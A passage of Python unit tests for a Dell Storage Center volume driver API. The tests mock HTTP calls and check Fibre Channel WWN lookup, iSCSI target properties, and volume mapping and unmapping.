self.assertTrue(mock_find_mappings.called)
self.assertTrue(mock_find_controller_port.called)
self.assertIsNone(lun, 'Incorrect LUN')
self.assertEqual([], wwns, 'WWNs is not empty')
self.assertEqual({}, itmap, 'WWN mapping not empty')
@mock.patch.object(dell_storagecenter_api.StorageCenterApi,
'_find_controller_port',
return_value=FC_CTRLR_PORT)
@mock.patch.object(dell_storagecenter_api.StorageCenterApi,
'_find_mappings',
return_value=FC_MAPPINGS)
@mock.patch.object(dell_storagecenter_api.StorageCenterApi,
'_find_initiators',
return_value=WWNS_NO_MATCH)
# Test case where HBA name is not found in list of initiators
def test_find_wwns_hbaname_not_found(self,
mock_find_initiators,
mock_find_mappings,
mock_find_controller_port,
mock_close_connection,
mock_open_connection,
mock_init):
lun, wwns, itmap = self.scapi.find_wwns(self.VOLUME,
self.SCSERVER)
self.assertTrue(mock_find_initiators.called)
self.assertTrue(mock_find_mappings.called)
self.assertTrue(mock_find_controller_port.called)
self.assertIsNone(lun, 'Incorrect LUN')
self.assertEqual([], wwns, 'WWNs is not empty')
self.assertEqual({}, itmap, 'WWN mapping not empty')
@mock.patch.object(dell_storagecenter_api.StorageCenterApi,
'_find_controller_port',
return_value=FC_CTRLR_PORT)
@mock.patch.object(dell_storagecenter_api.StorageCenterApi,
'_find_mappings',
return_value=FC_MAPPINGS_LUN_MISMATCH)
@mock.patch.object(dell_storagecenter_api.StorageCenterApi,
'_find_initiators',
return_value=WWNS)
# Test case where FC mappings contain a LUN mismatch
def test_find_wwns_lun_mismatch(self,
mock_find_initiators,
mock_find_mappings,
mock_find_controller_port,
mock_close_connection,
mock_open_connection,
mock_init):
lun, wwns, itmap = self.scapi.find_wwns(self.VOLUME,
self.SCSERVER)
self.assertTrue(mock_find_initiators.called)
self.assertTrue(mock_find_mappings.called)
self.assertTrue(mock_find_controller_port.called)
# The _find_controller_port is Mocked, so all mapping pairs
# will have the same WWN for the ScControllerPort
itmapCompare = {u'21000024FF30441C': [u'5000D31000FCBE36'],
u'21000024FF30441D':
[u'5000D31000FCBE36', u'5000D31000FCBE36']}
self.assertEqual(1, lun, 'Incorrect LUN')
self.assertIsNotNone(wwns, 'WWNs is None')
self.assertEqual(itmapCompare, itmap, 'WWN mapping incorrect')
@mock.patch.object(dell_storagecenter_api.StorageCenterApi,
'_first_result',
return_value=VOLUME_CONFIG)
@mock.patch.object(dell_storagecenter_api.HttpClient,
'get',
return_value=RESPONSE_200)
def test_find_active_controller(self,
mock_get,
mock_first_result,
mock_close_connection,
mock_open_connection,
mock_init):
res = self.scapi._find_active_controller(self.VOLUME)
self.assertTrue(mock_get.called)
self.assertTrue(mock_first_result.called)
self.assertEqual('64702.64703', res, 'Unexpected Active Controller')
@mock.patch.object(dell_storagecenter_api.HttpClient,
'get',
return_value=RESPONSE_400)
def test_find_active_controller_failure(self,
mock_get,
mock_close_connection,
mock_open_connection,
mock_init):
# Test case of where get of ScVolume MappingList fails
res = self.scapi._find_active_controller(self.VOLUME)
self.assertTrue(mock_get.called)
self.assertIsNone(res, 'Expected None')
@mock.patch.object(dell_storagecenter_api.StorageCenterApi,
'_find_active_controller',
return_value='64702.5764839588723736131.91')
@mock.patch.object(dell_storagecenter_api.StorageCenterApi,
'_find_controller_port',
return_value=ISCSI_CTRLR_PORT)
@mock.patch.object(dell_storagecenter_api.StorageCenterApi,
'_find_domains',
return_value=ISCSI_FLT_DOMAINS)
@mock.patch.object(dell_storagecenter_api.StorageCenterApi,
'_find_mappings',
return_value=MAPPINGS)
@mock.patch.object(dell_storagecenter_api.StorageCenterApi,
'_is_virtualport_mode',
return_value=True)
def test_find_iscsi_properties_mappings(self,
mock_is_virtualport_mode,
mock_find_mappings,
mock_find_domains,
mock_find_ctrl_port,
mock_find_active_controller,
mock_close_connection,
mock_open_connection,
mock_init):
res = self.scapi.find_iscsi_properties(self.VOLUME)
self.assertTrue(mock_is_virtualport_mode.called)
self.assertTrue(mock_find_mappings.called)
self.assertTrue(mock_find_domains.called)
self.assertTrue(mock_find_ctrl_port.called)
self.assertTrue(mock_find_active_controller.called)
expected = {'target_discovered': False,
'target_iqn':
u'iqn.2002-03.com.compellent:5000d31000fcbe43',
'target_iqns':
[u'iqn.2002-03.com.compellent:5000d31000fcbe43'],
'target_lun': 1,
'target_luns': [1],
'target_portal': u'192.168.0.21:3260',
'target_portals': [u'192.168.0.21:3260']}
self.assertEqual(expected, res, 'Wrong Target Info')
@mock.patch.object(dell_storagecenter_api.StorageCenterApi,
'_find_active_controller',
return_value='64702.64702')
@mock.patch.object(dell_storagecenter_api.StorageCenterApi,
'_find_controller_port',
return_value=ISCSI_CTRLR_PORT)
@mock.patch.object(dell_storagecenter_api.StorageCenterApi,
'_find_domains',
return_value=ISCSI_FLT_DOMAINS)
@mock.patch.object(dell_storagecenter_api.StorageCenterApi,
'_find_mappings',
return_value=MAPPINGS)
@mock.patch.object(dell_storagecenter_api.StorageCenterApi,
'_is_virtualport_mode',
return_value=True)
def test_find_iscsi_properties_by_address(self,
mock_is_virtualport_mode,
mock_find_mappings,
mock_find_domains,
mock_find_ctrl_port,
mock_find_active_controller,
mock_close_connection,
mock_open_connection,
mock_init):
# Test case to find iSCSI mappings by IP Address & port
res = self.scapi.find_iscsi_properties(
self.VOLUME, '192.168.0.21', 3260)
self.assertTrue(mock_is_virtualport_mode.called)
self.assertTrue(mock_find_mappings.called)
self.assertTrue(mock_find_domains.called)
self.assertTrue(mock_find_ctrl_port.called)
self.assertTrue(mock_find_active_controller.called)
expected = {'target_discovered': False,
'target_iqn':
u'iqn.2002-03.com.compellent:5000d31000fcbe43',
'target_iqns':
[u'iqn.2002-03.com.compellent:5000d31000fcbe43'],
'target_lun': 1,
'target_luns': [1],
'target_portal': u'192.168.0.21:3260',
'target_portals': [u'192.168.0.21:3260']}
self.assertEqual(expected, res, 'Wrong Target Info')
@mock.patch.object(dell_storagecenter_api.StorageCenterApi,
'_find_active_controller',
return_value='64702.64702')
@mock.patch.object(dell_storagecenter_api.StorageCenterApi,
'_find_controller_port',
return_value=ISCSI_CTRLR_PORT)
@mock.patch.object(dell_storagecenter_api.StorageCenterApi,
'_find_domains',
return_value=ISCSI_FLT_DOMAINS)
@mock.patch.object(dell_storagecenter_api.StorageCenterApi,
'_find_mappings',
return_value=MAPPINGS)
@mock.patch.object(dell_storagecenter_api.StorageCenterApi,
'_is_virtualport_mode',
return_value=True)
def test_find_iscsi_properties_by_address_not_found(
self,
mock_is_virtualport_mode,
mock_find_mappings,
mock_find_domains,
mock_find_ctrl_port,
mock_find_active_ctrl,
mock_close_connection,
mock_open_connection,
mock_init):
# Test case to find iSCSI mappings by IP Address & port are not found
res = self.scapi.find_iscsi_properties(
self.VOLUME, '192.168.1.21', 3260)
self.assertTrue(mock_is_virtualport_mode.called)
self.assertTrue(mock_find_mappings.called)
self.assertTrue(mock_find_domains.called)
self.assertTrue(mock_find_ctrl_port.called)
self.assertTrue(mock_find_active_ctrl.called)
expected = {'target_discovered': False,
'target_iqn':
u'iqn.2002-03.com.compellent:5000d31000fcbe43',
'target_iqns':
[u'iqn.2002-03.com.compellent:5000d31000fcbe43'],
'target_lun': 1,
'target_luns': [1],
'target_portal': u'192.168.0.21:3260',
'target_portals': [u'192.168.0.21:3260']}
self.assertEqual(expected, res, 'Wrong Target Info')
@mock.patch.object(dell_storagecenter_api.StorageCenterApi,
'_find_mappings',
return_value=[])
def test_find_iscsi_properties_no_mapping(self,
mock_find_mappings,
mock_close_connection,
mock_open_connection,
mock_init):
# Test case where there are no ScMapping(s)
self.assertRaises(exception.VolumeBackendAPIException,
self.scapi.find_iscsi_properties,
self.VOLUME)
self.assertTrue(mock_find_mappings.called)
@mock.patch.object(dell_storagecenter_api.StorageCenterApi,
'_find_active_controller',
return_value='64702.64702')
@mock.patch.object(dell_storagecenter_api.StorageCenterApi,
'_find_controller_port',
return_value=ISCSI_CTRLR_PORT)
@mock.patch.object(dell_storagecenter_api.StorageCenterApi,
'_find_domains',
return_value=None)
@mock.patch.object(dell_storagecenter_api.StorageCenterApi,
'_find_mappings',
return_value=MAPPINGS)
@mock.patch.object(dell_storagecenter_api.StorageCenterApi,
'_is_virtualport_mode',
return_value=True)
def test_find_iscsi_properties_no_domain(self,
mock_is_virtualport_mode,
mock_find_mappings,
mock_find_domains,
mock_find_ctrl_port,
mock_find_active_controller,
mock_close_connection,
mock_open_connection,
mock_init):
# Test case where there are no ScFaultDomain(s)
self.assertRaises(exception.VolumeBackendAPIException,
self.scapi.find_iscsi_properties,
self.VOLUME)
self.assertTrue(mock_is_virtualport_mode.called)
self.assertTrue(mock_find_mappings.called)
self.assertTrue(mock_find_domains.called)
self.assertTrue(mock_find_ctrl_port.called)
self.assertTrue(mock_find_active_controller.called)
@mock.patch.object(dell_storagecenter_api.StorageCenterApi,
'_find_active_controller',
return_value='64702.64702')
@mock.patch.object(dell_storagecenter_api.StorageCenterApi,
'_find_controller_port',
return_value=None)
@mock.patch.object(dell_storagecenter_api.StorageCenterApi,
'_find_mappings',
return_value=MAPPINGS)
@mock.patch.object(dell_storagecenter_api.StorageCenterApi,
'_is_virtualport_mode',
return_value=True)
def test_find_iscsi_properties_no_ctrl_port(self,
mock_is_virtualport_mode,
mock_find_mappings,
mock_find_ctrl_port,
mock_find_active_controller,
mock_close_connection,
mock_open_connection,
mock_init):
# Test case where there are no ScFaultDomain(s)
self.assertRaises(exception.VolumeBackendAPIException,
self.scapi.find_iscsi_properties,
self.VOLUME)
self.assertTrue(mock_is_virtualport_mode.called)
self.assertTrue(mock_find_mappings.called)
self.assertTrue(mock_find_ctrl_port.called)
self.assertTrue(mock_find_active_controller.called)
@mock.patch.object(dell_storagecenter_api.StorageCenterApi,
'_find_active_controller',
return_value='64702.64702')
@mock.patch.object(dell_storagecenter_api.StorageCenterApi,
'_find_controller_port',
return_value=ISCSI_CTRLR_PORT)
@mock.patch.object(dell_storagecenter_api.StorageCenterApi,
'_find_domains',
return_value=ISCSI_FLT_DOMAINS)
@mock.patch.object(dell_storagecenter_api.StorageCenterApi,
'_find_mappings',
return_value=MAPPINGS_READ_ONLY)
@mock.patch.object(dell_storagecenter_api.StorageCenterApi,
'_is_virtualport_mode',
return_value=True)
def test_find_iscsi_properties_ro(self,
mock_is_virtualport_mode,
mock_find_mappings,
mock_find_domains,
mock_find_ctrl_port,
mock_find_active_controller,
mock_close_connection,
mock_open_connection,
mock_init):
# Test case where Read Only mappings are found
res = self.scapi.find_iscsi_properties(self.VOLUME)
self.assertTrue(mock_is_virtualport_mode.called)
self.assertTrue(mock_find_mappings.called)
self.assertTrue(mock_find_domains.called)
self.assertTrue(mock_find_ctrl_port.called)
self.assertTrue(mock_find_active_controller.called)
expected = {'target_discovered': False,
'target_iqn':
u'iqn.2002-03.com.compellent:5000d31000fcbe43',
'target_iqns':
[u'iqn.2002-03.com.compellent:5000d31000fcbe43'],
'target_lun': 1,
'target_luns': [1],
'target_portal': u'192.168.0.21:3260',
'target_portals': [u'192.168.0.21:3260']}
self.assertEqual(expected, res, 'Wrong Target Info')
@mock.patch.object(dell_storagecenter_api.StorageCenterApi,
'_find_active_controller',
return_value='64702.64702')
@mock.patch.object(dell_storagecenter_api.StorageCenterApi,
'_find_controller_port',
return_value=ISCSI_CTRLR_PORT)
@mock.patch.object(dell_storagecenter_api.StorageCenterApi,
'_find_domains',
return_value=ISCSI_FLT_DOMAINS_MULTI_PORTALS)
@mock.patch.object(dell_storagecenter_api.StorageCenterApi,
'_find_mappings',
return_value=MAPPINGS_MULTI_PORTAL)
@mock.patch.object(dell_storagecenter_api.StorageCenterApi,
'_is_virtualport_mode',
return_value=True)
def test_find_iscsi_properties_multi_portals(self,
mock_is_virtualport_mode,
mock_find_mappings,
mock_find_domains,
mock_find_ctrl_port,
mock_find_active_controller,
mock_close_connection,
mock_open_connection,
mock_init):
# Test case where there are multiple portals
res = self.scapi.find_iscsi_properties(self.VOLUME)
self.assertTrue(mock_find_mappings.called)
self.assertTrue(mock_find_domains.called)
self.assertTrue(mock_find_ctrl_port.called)
self.assertTrue(mock_find_active_controller.called)
self.assertTrue(mock_is_virtualport_mode.called)
expected = {'target_discovered': False,
'target_iqn':
u'iqn.2002-03.com.compellent:5000d31000fcbe43',
'target_iqns':
[u'iqn.2002-03.com.compellent:5000d31000fcbe43',
u'iqn.2002-03.com.compellent:5000d31000fcbe43',
u'iqn.2002-03.com.compellent:5000d31000fcbe43',
u'iqn.2002-03.com.compellent:5000d31000fcbe43'],
'target_lun': 1,
'target_luns': [1, 1, 1, 1],
'target_portal': u'192.168.0.25:3260',
'target_portals': [u'192.168.0.21:3260',
u'192.168.0.25:3260',
u'192.168.0.21:3260',
u'192.168.0.25:3260']}
self.assertEqual(expected, res, 'Wrong Target Info')
@mock.patch.object(dell_storagecenter_api.StorageCenterApi,
'_find_active_controller',
return_value='64702.5764839588723736131.91')
@mock.patch.object(dell_storagecenter_api.StorageCenterApi,
'_find_controller_port',
return_value=ISCSI_CTRLR_PORT)
@mock.patch.object(dell_storagecenter_api.StorageCenterApi,
'_find_mappings',
return_value=MAPPINGS)
@mock.patch.object(dell_storagecenter_api.StorageCenterApi,
'_is_virtualport_mode',
return_value=False)
@mock.patch.object(dell_storagecenter_api.StorageCenterApi,
'_find_controller_port_iscsi_config',
return_value=ISCSI_CONFIG)
def test_find_iscsi_properties_mappings_legacy(
self,
mock_find_controller_port_iscsi_config,
mock_is_virtualport_mode,
mock_find_mappings,
mock_find_ctrl_port,
mock_find_active_controller,
mock_close_connection,
mock_open_connection,
mock_init):
res = self.scapi.find_iscsi_properties(self.VOLUME)
self.assertTrue(mock_is_virtualport_mode.called)
self.assertTrue(mock_find_mappings.called)
self.assertTrue(mock_find_ctrl_port.called)
self.assertTrue(mock_find_controller_port_iscsi_config.called)
self.assertTrue(mock_find_active_controller.called)
expected = {'target_discovered': False,
'target_iqn':
u'iqn.2002-03.com.compellent:5000d31000fcbe43',
'target_iqns':
[u'iqn.2002-03.com.compellent:5000d31000fcbe43'],
'target_lun': 1,
'target_luns': [1],
'target_portal': u'192.168.0.21:3260',
'target_portals': [u'192.168.0.21:3260']}
self.assertEqual(expected, res, 'Wrong Target Info')
@mock.patch.object(dell_storagecenter_api.StorageCenterApi,
'_find_active_controller',
return_value='64702.5764839588723736131.91')
@mock.patch.object(dell_storagecenter_api.StorageCenterApi,
'_find_controller_port',
return_value=ISCSI_CTRLR_PORT)
@mock.patch.object(dell_storagecenter_api.StorageCenterApi,
'_find_mappings',
return_value=MAPPINGS)
@mock.patch.object(dell_storagecenter_api.StorageCenterApi,
'_is_virtualport_mode',
return_value=False)
@mock.patch.object(dell_storagecenter_api.StorageCenterApi,
'_find_controller_port_iscsi_config',
return_value=None)
def test_find_iscsi_properties_mappings_legacy_no_iscsi_config(
self,
mock_find_controller_port_iscsi_config,
mock_is_virtualport_mode,
mock_find_mappings,
mock_find_ctrl_port,
mock_find_active_controller,
mock_close_connection,
mock_open_connection,
mock_init):
self.assertRaises(exception.VolumeBackendAPIException,
self.scapi.find_iscsi_properties,
self.VOLUME)
self.assertTrue(mock_is_virtualport_mode.called)
self.assertTrue(mock_find_mappings.called)
self.assertTrue(mock_find_ctrl_port.called)
self.assertTrue(mock_find_controller_port_iscsi_config.called)
self.assertTrue(mock_find_active_controller.called)
@mock.patch.object(dell_storagecenter_api.StorageCenterApi,
'_find_active_controller',
return_value='64702.64702')
@mock.patch.object(dell_storagecenter_api.StorageCenterApi,
'_find_controller_port',
return_value=ISCSI_CTRLR_PORT)
@mock.patch.object(dell_storagecenter_api.StorageCenterApi,
'_find_mappings',
return_value=MAPPINGS)
@mock.patch.object(dell_storagecenter_api.StorageCenterApi,
'_is_virtualport_mode',
return_value=False)
@mock.patch.object(dell_storagecenter_api.StorageCenterApi,
'_find_controller_port_iscsi_config',
return_value=ISCSI_CONFIG)
def test_find_iscsi_properties_by_address_legacy(
self,
mock_find_controller_port_iscsi_config,
mock_is_virtualport_mode,
mock_find_mappings,
mock_find_ctrl_port,
mock_find_active_controller,
mock_close_connection,
mock_open_connection,
mock_init):
# Test case to find iSCSI mappings by IP Address & port
res = self.scapi.find_iscsi_properties(
self.VOLUME, '192.168.0.21', 3260)
self.assertTrue(mock_is_virtualport_mode.called)
self.assertTrue(mock_find_mappings.called)
self.assertTrue(mock_find_ctrl_port.called)
self.assertTrue(mock_find_active_controller.called)
self.assertTrue(mock_find_controller_port_iscsi_config.called)
expected = {'target_discovered': False,
'target_iqn':
u'iqn.2002-03.com.compellent:5000d31000fcbe43',
'target_iqns':
[u'iqn.2002-03.com.compellent:5000d31000fcbe43'],
'target_lun': 1,
'target_luns': [1],
'target_portal': u'192.168.0.21:3260',
'target_portals': [u'192.168.0.21:3260']}
self.assertEqual(expected, res, 'Wrong Target Info')
@mock.patch.object(dell_storagecenter_api.StorageCenterApi,
'_find_active_controller',
return_value='64702.64702')
@mock.patch.object(dell_storagecenter_api.StorageCenterApi,
'_find_controller_port',
return_value=ISCSI_CTRLR_PORT)
@mock.patch.object(dell_storagecenter_api.StorageCenterApi,
'_find_mappings',
return_value=MAPPINGS)
@mock.patch.object(dell_storagecenter_api.StorageCenterApi,
'_is_virtualport_mode',
return_value=False)
@mock.patch.object(dell_storagecenter_api.StorageCenterApi,
'_find_controller_port_iscsi_config',
return_value=ISCSI_CONFIG)
def test_find_iscsi_properties_by_address_not_found_legacy(
self,
mock_find_controller_port_iscsi_config,
mock_is_virtualport_mode,
mock_find_mappings,
mock_find_ctrl_port,
mock_find_active_ctrl,
mock_close_connection,
mock_open_connection,
mock_init):
# Test case to find iSCSI mappings by IP Address & port are not found
res = self.scapi.find_iscsi_properties(
self.VOLUME, '192.168.1.21', 3260)
self.assertTrue(mock_is_virtualport_mode.called)
self.assertTrue(mock_find_mappings.called)
self.assertTrue(mock_find_ctrl_port.called)
self.assertTrue(mock_find_active_ctrl.called)
self.assertTrue(mock_find_controller_port_iscsi_config.called)
expected = {'target_discovered': False,
'target_iqn':
u'iqn.2002-03.com.compellent:5000d31000fcbe43',
'target_iqns':
[u'iqn.2002-03.com.compellent:5000d31000fcbe43'],
'target_lun': 1,
'target_luns': [1],
'target_portal': u'192.168.0.21:3260',
'target_portals': [u'192.168.0.21:3260']}
self.assertEqual(expected, res, 'Wrong Target Info')
@mock.patch.object(dell_storagecenter_api.StorageCenterApi,
'_find_active_controller',
return_value='64702.64702')
@mock.patch.object(dell_storagecenter_api.StorageCenterApi,
'_find_controller_port',
return_value=ISCSI_CTRLR_PORT)
@mock.patch.object(dell_storagecenter_api.StorageCenterApi,
'_find_mappings',
return_value=MAPPINGS_READ_ONLY)
@mock.patch.object(dell_storagecenter_api.StorageCenterApi,
'_is_virtualport_mode',
return_value=False)
@mock.patch.object(dell_storagecenter_api.StorageCenterApi,
'_find_controller_port_iscsi_config',
return_value=ISCSI_CONFIG)
def test_find_iscsi_properties_ro_legacy(self,
mock_find_iscsi_config,
mock_is_virtualport_mode,
mock_find_mappings,
mock_find_ctrl_port,
mock_find_active_controller,
mock_close_connection,
mock_open_connection,
mock_init):
# Test case where Read Only mappings are found
res = self.scapi.find_iscsi_properties(self.VOLUME)
self.assertTrue(mock_is_virtualport_mode.called)
self.assertTrue(mock_find_mappings.called)
self.assertTrue(mock_find_ctrl_port.called)
self.assertTrue(mock_find_active_controller.called)
self.assertTrue(mock_find_iscsi_config.called)
expected = {'target_discovered': False,
'target_iqn':
u'iqn.2002-03.com.compellent:5000d31000fcbe43',
'target_iqns':
[u'iqn.2002-03.com.compellent:5000d31000fcbe43'],
'target_lun': 1,
'target_luns': [1],
'target_portal': u'192.168.0.21:3260',
'target_portals': [u'192.168.0.21:3260']}
self.assertEqual(expected, res, 'Wrong Target Info')
@mock.patch.object(dell_storagecenter_api.StorageCenterApi,
'_find_active_controller',
return_value='64702.64702')
@mock.patch.object(dell_storagecenter_api.StorageCenterApi,
'_find_controller_port',
return_value=ISCSI_CTRLR_PORT)
@mock.patch.object(dell_storagecenter_api.StorageCenterApi,
'_find_mappings',
return_value=MAPPINGS_MULTI_PORTAL)
@mock.patch.object(dell_storagecenter_api.StorageCenterApi,
'_is_virtualport_mode',
return_value=False)
@mock.patch.object(dell_storagecenter_api.StorageCenterApi,
'_find_controller_port_iscsi_config',
return_value=ISCSI_CONFIG)
def test_find_iscsi_properties_multi_portals_legacy(
self,
mock_find_controller_port_iscsi_config,
mock_is_virtualport_mode,
mock_find_mappings,
mock_find_ctrl_port,
mock_find_active_controller,
mock_close_connection,
mock_open_connection,
mock_init):
# Test case where there are multiple portals
res = self.scapi.find_iscsi_properties(self.VOLUME)
self.assertTrue(mock_find_mappings.called)
self.assertTrue(mock_find_ctrl_port.called)
self.assertTrue(mock_find_active_controller.called)
self.assertTrue(mock_is_virtualport_mode.called)
self.assertTrue(mock_find_controller_port_iscsi_config.called)
# Since we're feeding the same info back multiple times the information
# will be duped.
expected = {'target_discovered': False,
'target_iqn':
u'iqn.2002-03.com.compellent:5000d31000fcbe43',
'target_iqns':
[u'iqn.2002-03.com.compellent:5000d31000fcbe43',
u'iqn.2002-03.com.compellent:5000d31000fcbe43'],
'target_lun': 1,
'target_luns': [1, 1],
'target_portal': u'192.168.0.21:3260',
'target_portals': [u'192.168.0.21:3260',
u'192.168.0.21:3260']}
self.assertEqual(expected, res, 'Wrong Target Info')
@mock.patch.object(dell_storagecenter_api.StorageCenterApi,
'_first_result',
return_value=MAP_PROFILE)
@mock.patch.object(dell_storagecenter_api.HttpClient,
'post',
return_value=RESPONSE_200)
@mock.patch.object(dell_storagecenter_api.StorageCenterApi,
'_find_mapping_profiles',
return_value=[])
def test_map_volume(self,
mock_find_mapping_profiles,
mock_post,
mock_first_result,
mock_close_connection,
mock_open_connection,
mock_init):
res = self.scapi.map_volume(self.VOLUME,
self.SCSERVER)
self.assertTrue(mock_find_mapping_profiles.called)
self.assertTrue(mock_post.called)
self.assertTrue(mock_first_result.called)
self.assertEqual(self.MAP_PROFILE, res, 'Incorrect ScMappingProfile')
@mock.patch.object(dell_storagecenter_api.StorageCenterApi,
'_first_result',
return_value=MAP_PROFILE)
@mock.patch.object(dell_storagecenter_api.HttpClient,
'post',
return_value=RESPONSE_200)
@mock.patch.object(dell_storagecenter_api.StorageCenterApi,
'_find_mapping_profiles',
return_value=MAP_PROFILES)
def test_map_volume_existing_mapping(self,
mock_find_mappings,
mock_post,
mock_first_result,
mock_close_connection,
mock_open_connection,
mock_init):
res = self.scapi.map_volume(self.VOLUME,
self.SCSERVER)
self.assertTrue(mock_find_mappings.called)
self.assertFalse(mock_post.called)
self.assertFalse(mock_first_result.called)
self.assertEqual(self.MAP_PROFILE, res, 'Incorrect ScMappingProfile')
@mock.patch.object(dell_storagecenter_api.StorageCenterApi,
'_first_result',
return_value=MAP_PROFILE)
@mock.patch.object(dell_storagecenter_api.HttpClient,
'post',
return_value=RESPONSE_200)
@mock.patch.object(dell_storagecenter_api.StorageCenterApi,
'_find_mapping_profiles',
return_value=[])
def test_map_volume_existing_mapping_not_us(self,
mock_find_mappings,
mock_post,
mock_first_result,
mock_close_connection,
mock_open_connection,
mock_init):
server = {'instanceId': 64702.48, 'name': 'Server X'}
res = self.scapi.map_volume(self.VOLUME,
server)
self.assertTrue(mock_find_mappings.called)
self.assertTrue(mock_post.called)
self.assertTrue(mock_first_result.called)
self.assertEqual(self.MAP_PROFILE, res, 'Incorrect ScMappingProfile')
@mock.patch.object(dell_storagecenter_api.StorageCenterApi,
'_get_id')
@mock.patch.object(dell_storagecenter_api.StorageCenterApi,
'_first_result')
@mock.patch.object(dell_storagecenter_api.HttpClient,
'post')
def test_map_volume_no_vol_id(self,
mock_post,
mock_first_result,
mock_get_id,
mock_close_connection,
mock_open_connection,
mock_init):
# Test case where ScVolume instanceId is None
mock_get_id.side_effect = [None, '64702.47']
res = self.scapi.map_volume(self.VOLUME,
self.SCSERVER)
self.assertFalse(mock_post.called)
self.assertFalse(mock_first_result.called)
self.assertIsNone(res, 'None expected')
@mock.patch.object(dell_storagecenter_api.StorageCenterApi,
'_get_id')
@mock.patch.object(dell_storagecenter_api.StorageCenterApi,
'_first_result')
@mock.patch.object(dell_storagecenter_api.HttpClient,
'post')
def test_map_volume_no_server_id(self,
mock_post,
mock_first_result,
mock_get_id,
mock_close_connection,
mock_open_connection,
mock_init):
# Test case where ScVolume instanceId is None
mock_get_id.side_effect = ['64702.3494', None]
res = self.scapi.map_volume(self.VOLUME,
self.SCSERVER)
self.assertFalse(mock_post.called)
self.assertFalse(mock_first_result.called)
self.assertIsNone(res, 'None expected')
@mock.patch.object(dell_storagecenter_api.HttpClient,
'post',
return_value=RESPONSE_204)
@mock.patch.object(dell_storagecenter_api.StorageCenterApi,
'_find_mapping_profiles',
return_value=[])
def test_map_volume_failure(self,
mock_find_mapping_profiles,
mock_post,
mock_close_connection,
mock_open_connection,
mock_init):
# Test case where mapping volume to server fails
res = self.scapi.map_volume(self.VOLUME,
self.SCSERVER)
self.assertTrue(mock_find_mapping_profiles.called)
self.assertTrue(mock_post.called)
self.assertIsNone(res, 'None expected')
@mock.patch.object(dell_storagecenter_api.HttpClient,
'delete',
return_value=RESPONSE_200)
@mock.patch.object(dell_storagecenter_api.StorageCenterApi,
'_find_mapping_profiles',
return_value=MAP_PROFILES)
@mock.patch.object(dell_storagecenter_api.StorageCenterApi,
'_get_json',
return_value={'result': True})
def test_unmap_volume(self,
mock_get_json,
mock_find_mapping_profiles,
mock_delete,
mock_close_connection,
mock_open_connection,
mock_init):
res = self.scapi.unmap_volume(self.VOLUME,
self.SCSERVER)
self.assertTrue(mock_find_mapping_profiles.called)
self.assertTrue(mock_delete.called)
self.assertTrue(res)
@mock.patch.object(dell_storagecenter_api.StorageCenterApi,
'_find_mapping_profiles',
return_value=MAP_PROFILES)
@mock.patch.object(dell_storagecenter_api.HttpClient,
'delete',
return_value=RESPONSE_204)
def test_unmap_volume_failure(self,
mock_delete,
mock_find_mapping_profiles,
mock_close_connection,
mock_open_connection,
mock_init):
res = self.scapi.unmap_volume(self.VOLUME,
self.SCSERVER)
self.assertTrue(mock_find_mapping_profiles.called)
self.assertTrue(mock_delete.called)
self.assertFalse(res)
@mock.patch.object(dell_storagecenter_api.StorageCenterApi,
'_find_mapping_profiles',
return_value=[])
def test_unmap_volume_no_map_profile(self,
mock_find_mapping_profiles,
mock_close_connection,
mock_open_connection,
mock_init):
res = self.scapi.unmap_volume(self.VOLUME,
self.SCSERVER)
self.assertTrue(mock_find_mapping_profiles.called)
self.assertTrue(res)
@mock.patch.object(dell_storagecenter_api.HttpClient,
'delete',
return_value=RESPONSE_204)
@mock.patch.object(dell_storagecenter_api.StorageCenterApi,
'_find_mapping_profiles',
return_value=MAP_PROFILES)
def test_unmap_volume_del_fail(self,
mock_find_mapping_profiles,
mock_delete,
mock_close_connection,
mock_open_connection,
mock_init):
res = self.scapi.unmap_volume(self.VOLUME,
self.SCSERVER)
self.assertTrue(mock_find_mapping_profiles.called)
self.assertTrue(mock_delete.called)
self.assertFalse(res, False)
@mock.patch.object(dell_storagecenter_api.StorageCenterApi,
'_get_id')
@mock.patch.object(dell_storagecenter_api.HttpClient,
'delete',
return_value=RESPONSE_200)
@mock.patch.object(dell_storagecenter_api.StorageCenterApi,
'_find_mapping_profiles',
return_value=MAP_PROFILES)
def test_unmap_volume_no_vol_id(self,
mock_find_mapping_profiles,
mock_delete,
mock_get_id,
mock_close_connection,
mock_open_connection,
mock_init):
# Test case where ScVolume instanceId = None
mock_get_id.side_effect = [None, '64702.47']
res = self.scapi.unmap_volume(self.VOLUME,
self.SCSERVER)
self.assertFalse(mock_find_mapping_profiles.called)
self.assertFalse(mock_delete.called)
self.assertTrue(res)
@mock.patch.object(dell_storagecenter_api.StorageCenterApi,
'_get_id')
@mock.patch.object(dell_storagecenter_api.HttpClient,
'delete',
return_value=RESPONSE_200)
@mock.patch.object(dell_storagecenter_api.StorageCenterApi,
'_find_mapping_profiles',
return_value=MAP_PROFILES)
def test_unmap_volume_no_server_id(self,
mock_find_mapping_profiles,
mock_delete,
mock_get_id,
mock_close_connection,
mock_open_connection,
mock_init):
# Test case where ScVolume instanceId = None
mock_get_id.side_effect = ['64702.3494', None]
res = self.scapi.unmap_volume(self.VOLUME,
self.SCSERVER)
self.assertFalse(mock_find_mapping_profiles.called)
self.assertFalse(mock_delete.called)
self.assertTrue(res)
@mock.patch.object(dell_storagecenter_api.StorageCenterApi,
'_get_json',
return_value=[{'a': 1}, {'a': 2}])
@mock.patch.object(dell_storagecenter_api.HttpClient,
'get',
return_value=RESPONSE_200)
def test_find_controller_port_iscsi_config(self,
mock_get,
mock_get_json,
mock_close_connection,
mock_open_connection,
mock_init):
# Not much to test here. Just make sure we call our stuff and
# that we return the first item returned to us.
res = self.scapi._find_controller_port_iscsi_config('guid')
self.assertTrue(mock_get.called)
self.assertTrue(mock_get_json.called)
self.assertEqual({'a': 1}, res)
@mock.patch.object(dell_storagecenter_api.HttpClient,
'get',
return_value=RESPONSE_400)
def test_find_controller_port_iscsi_config_err(self,
mock_get,
mock_close_connection,
mock_open_connection,
mock_init):
res = self.scapi._find_controller_port_iscsi_config('guid')
self.assertTrue(mock_get.called)
self.assertIsNone(res)
@mock.patch.object(dell_storagecenter_api.StorageCenterApi,
'_get_json',
return_value=STRG_USAGE)
@mock.patch.object(dell_storagecenter_api.HttpClient,
'get',
return_value=RESPONSE_200)
def test_get_storage_usage(self,
mock_get,
mock_get_json,
mock_close_connection,
mock_open_connection,
mock_init):
res = self.scapi.get_storage_usage()
self.assertTrue(mock_get.called)
self.assertTrue(mock_get_json.called)
self.assertEqual(self.STRG_USAGE, res, 'Unexpected ScStorageUsage')
